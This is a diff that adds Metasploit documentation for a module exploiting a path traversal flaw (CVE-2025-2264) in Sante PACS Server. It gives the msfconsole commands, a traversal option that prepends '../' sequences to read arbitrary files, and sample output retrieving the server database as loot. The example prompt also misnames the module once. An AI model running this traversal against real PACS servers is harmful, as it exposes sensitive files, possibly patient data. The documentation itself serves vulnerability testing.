+## Vulnerable Application
+
+This module exploits a path traversal vulnerability in Sante PACS Server <= v4.1.0 (CVE-2025-2264) to read arbitrary files from the system.
+
+## Testing
+
+The software can be obtained from
+[the vendor](https://www.santesoft.com/win/sante-pacs-server/download.html).
+
+By default, the server listens on TCP port 3000 on all network interfaces.
+
+**Successfully tested on**
+
+- Sante PACS Server v4.1.0 on Windows 22H2
+
+## Verification Steps
+
+1. Install and run the application
+2. Start `msfconsole` and run the following commands:
+
+```
+msf6 > use auxiliary/gather/pacsserver_traversal
+msf6 auxiliary(gather/pacsserver_traversal) > set RHOSTS <IP>
+msf6 auxiliary(gather/pacsserver_traversal) > run
+```
+
+This should return the database for the web server. Any files retrieved will
+be stored as loot.
+
+## Options
+
+### FILE
+The file to be retrieved from the file system. By default, this is the database for the web server, HTTP.db. However, any arbitrary
+file can be specified.
+
+Example: /.HTTP/HTTP.db
+
+### DEPTH
+The traversal depth. The FILE path will be prepended with /assets/ + ../ * DEPTH.
+
+## Scenarios
+
+Running the exploit against v4.1.0 on Windows 22H22 should result in an output similar to the following:
+
+```
+msf6 auxiliary(gather/pacsserver_traversal) > run
+[*] Running module against 192.168.137.217
+
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated.
+[+] File retrieved: /assets/../../.HTTP/HTTP.db
+[*] File saved as loot.
+[*] Auxiliary module execution completed
+
+```
+
+The file will be stored as loot:
+
+```
+msf6 auxiliary(gather/upsmon_traversal) > loot
